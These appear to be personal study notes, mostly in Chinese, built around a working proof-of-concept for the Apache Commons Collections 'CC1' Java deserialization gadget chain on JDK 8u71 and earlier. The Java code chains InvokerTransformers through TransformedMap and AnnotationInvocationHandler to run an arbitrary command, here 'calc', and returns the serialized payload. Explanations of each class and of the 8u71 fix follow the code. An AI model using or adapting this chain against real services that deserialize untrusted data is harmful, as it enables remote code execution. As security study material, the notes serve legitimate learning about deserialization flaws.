POC:
package test.com.cc;// Apache Common Collections// Version < 3.22// 3.22 禁止了 InvokerTransformer 反序列化执行// jdk <= Java 8u71import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import test.com.Serializer;import java.io.IOException;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.util.HashMap;import java.util.Map;public class cc1_before_8u71 {public static byte[] payload() throws IOException, ClassNotFoundException,InvocationTargetException, InstantiationException, IllegalAccessException,NoSuchMethodException, NoSuchFieldException {// Runtime obj = (Runtime)Runtime.class.getMethod("getRuntime").invoke(Runtime.class);// obj.exec("calc");Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{ null, null }),new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc"}),};Transformer transformerChain = new ChainedTransformer(new Transformer[]{}); // iTransformersMap map = new HashMap();TransformedMap transformedmap = (TransformedMap)TransformedMap.decorate(map,transformerChain, transformerChain); // value transformmap.put("value","1"); // 必须是valueClass clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);constructor.setAccessible(true);Object obj = constructor.newInstance(SuppressWarnings.class, transformedmap);// public @interface xx 搜索得到,且有方法存在.Field f = ChainedTransformer.class.getDeclaredField("iTransformers");f.setAccessible(true);f.set(transformerChain,transformers);return Serializer.Serialize(obj);}}
Transformers
主要的用途:
- ConstantTransformer 就算保存这个类,调用transform的适合返回保存的常量类
- InvokerTransformer 执行Object的 相应方法
- ChainedTransformer 把多个transformer组合在一起
- TransformedMap 对map做修饰,可以普通的Map加上transformer
- TransformedMap 在 put 键值对进去的适合会触发transformer的调用
反序列化要求:待序列化的对象和所有它使用的内部属性对象,必须都实现了 java.io.Serializable 接口
所以不能直接传Runtime类,transformer调用链可以这样写:
//Runtime obj = (Runtime)Runtime.class.getMethod("getRuntime").invoke(Runtime.class);//obj.exec("calc");Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{ null, null }),new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc"}),};
sun.reflect.annotation.AnnotationInvocationHandler
这个类的readObject可以触发setvalue, 这个操作也会触发value的transformer.transform()
java 8u71之后,这个类的ReadObject方法被修改,调用链中断。
思考
- AnnotationInvocationHandler是干什么的,为什么会用到map?
